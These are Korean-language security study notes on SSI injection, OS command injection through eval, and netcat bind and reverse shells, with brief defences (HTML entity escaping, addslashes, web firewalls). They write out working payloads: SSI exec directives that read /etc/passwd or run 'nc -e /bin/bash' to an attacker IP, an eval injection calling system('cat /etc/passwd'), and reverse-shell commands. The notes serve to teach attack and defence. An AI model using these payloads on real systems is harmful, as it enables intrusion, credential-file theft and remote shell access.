정보보안 스터디 - 14주차 1일 - SSI/OS injection
☞ SSI (server side includes)
동적 업데이트 내용을 추가하는 기능을 수행합니다.
SSI 지시어는 <!-- > 형식을 사용합니다.
자바스크립트 삽입이 entity로 치환하지 않다면 확인해봅니다.
<!--#exec cmd="head -3 /etc/passwd" --> <!--#exec cmd="nc -e /bin/bash 192.168.20.50 4444" --> |
☞ OS command Injection
nslookup 기능을 하는 서비스가 서버에 있다고할 때, 그 명령어말고 다른 임의의 명령어를 실시합니다.
eval함수를 썼다고 가정하여 코드를 삽입해 인젝션을 해봅니다.
eval
함수안에 리눅스 명령어가 들어가 있으면 그 명령어 결과값을 반환합니ㅣ다.
eval(date) > return eval(system(cat /etc/passwd)) |
예상명령어 eval("echo \"TEST3\"); |
공격 결과 eval("echo \"TEST3\"; system('cat /etc/passwd | head -3');"); |
기존 서비스 뒤에 ; system('cat /etc/passwd')명령어를 추가하면 임의의 명령어 사용이 가능합니다.
위의 대부분의 인젝션 공격은
specialchars로 특수문자에 대해 HTML entity 치환시켜 막습니다.
서버에서 외부 침입을 막는 방법은
개발 측에서 시큐어 코딩을 추가하는 것이 대부분이지만
웹방화벽(IPS)를 사용하여 http메세지에 대해 검사하고 네트워크 차단도 가능합니다.
임의로 임맛에 맞게 설정도 가능합니다.
그래서 공격자는 ips를 사용하지 않는 서버를 찾을 것입니다.
그런 취약한 서버는 포트스캔을 통해 취약한 포트가 많이 열려져 있다면
쇼단으로 정보 수집등을 하여 공격을 들어갑니다.
☞ NetCat 리버스쉘
nc는 본래 채팅 및 자료 공유 목적으로 만들어졌지만
포트를 리슨상태로 만들기 위해 악용됩니다.
bind TCP

nc -nvlp 4444 |
nc -e /bin/bash 시스템ip(192.168.20.205) 4444 시스템에게 bin/bash를 허락한다. |
원래는 이렇게 공격자가 시스템에게 syn 요청을 보내야 하기 때문에
시스템에 리슨을 하는 프로그램을 설치해야합니다.
시스템이 사설ip를 사용하는 경우에는 사설ip라 해당 주소에 접근할 수 없습니다.
하지만 시스템에서 공격자로 요청보내어 연결하는 것은 더 쉬우며, 보안상으로도 더 신뢰성이 있습니다.
따라서
reverse TCP요청을 보냅니다.
reverse TCP

nc -nvlp 4444 |
nc -e /bin/bash 공격자ip(192.168.20.50) 4444 공격자에게 bin/bash를 허락한다. |
연결이 되면 명령어 사용이 가능하고, netstat -ntp에 리슨상태에서 포트가 연결되었습니다.
이 때 nc프로세스 에대해서만 교환하는 것이지 아무 서비스에 접근할수는 없습니다.
addslashes
\역슬래시를 붙여
\' 문자 그대로 나오도록 하는 함수입니다.
